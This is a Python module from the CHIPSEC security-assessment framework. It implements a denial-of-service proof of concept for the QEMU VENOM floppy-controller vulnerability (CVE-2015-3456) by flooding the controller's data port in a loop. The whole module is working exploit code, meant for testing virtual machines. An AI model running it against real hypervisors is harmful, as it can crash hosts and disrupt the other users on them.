mirror of
https://github.com/chipsec/chipsec
synced 2026-06-08 13:31:00 +00:00
Nathaniel Mitchell
78 lines
2.4 KiB
Python
78 lines
2.4 KiB
Python
# CHIPSEC: Platform Security Assessment Framework
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# Copyright (c) 2010-2020, Intel Corporation
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License
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# as published by the Free Software Foundation; Version 2.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
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#
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# Contact information:
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# chipsec@intel.com
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#
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"""
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QEMU VENOM vulnerability DoS PoC test
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Reference:
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- Module is based on `PoC by Marcus Meissner <https://marc.info/?l=oss-security&m=143155206320935&w=2>`_
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- `VENOM: QEMU vulnerability (CVE-2015-3456) <https://access.redhat.com/articles/1444903>`_
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Usage:
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``chipsec_main.py -i -m tools.vmm.venom``
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Examples:
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>>> chipsec_main.py -i -m tools.vmm.venom
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Additional options set within the module:
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- ``ITER_COUNT`` : Iteration count
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- ``FDC_PORT_DATA_FIFO`` : FDC DATA FIFO port
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- ``FDC_CMD_WRVAL`` : FDC Command write value
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- ``FD_CMD`` : FD Command
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.. note::
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- Returns a Warning by default
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- System may be in an unknown state, further evaluation may be needed
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.. important::
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- This module is designed to run in a VM environment
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- Behavior on physical HW is undefined
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"""
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from chipsec.module_common import BaseModule, ModuleResult
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_MODULE_NAME = 'venom'
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ITER_COUNT = 0x10000000
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FDC_PORT_DATA_FIFO = 0x3F5
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FDC_CMD_WRVAL = 0x42
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FD_CMD = 0x8E # FD_CMD_DRIVE_SPECIFICATION_COMMAND # FD_CMD_READ_ID = 0x0A
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class venom (BaseModule):
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def venom_impl(self):
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self.cs.io.write_port_byte(FDC_PORT_DATA_FIFO, FD_CMD)
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for _ in range(ITER_COUNT):
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self.cs.io.write_port_byte(FDC_PORT_DATA_FIFO, FDC_CMD_WRVAL)
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return True
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def run(self, module_argv):
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self.logger.start_test("QEMU VENOM vulnerability DoS PoC")
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self.venom_impl()
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self.logger.log_information('Module completed')
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self.logger.log_warning('System may be in an unknown state, further evaluation may be needed.')
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self.res = ModuleResult.WARNING
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return self.res
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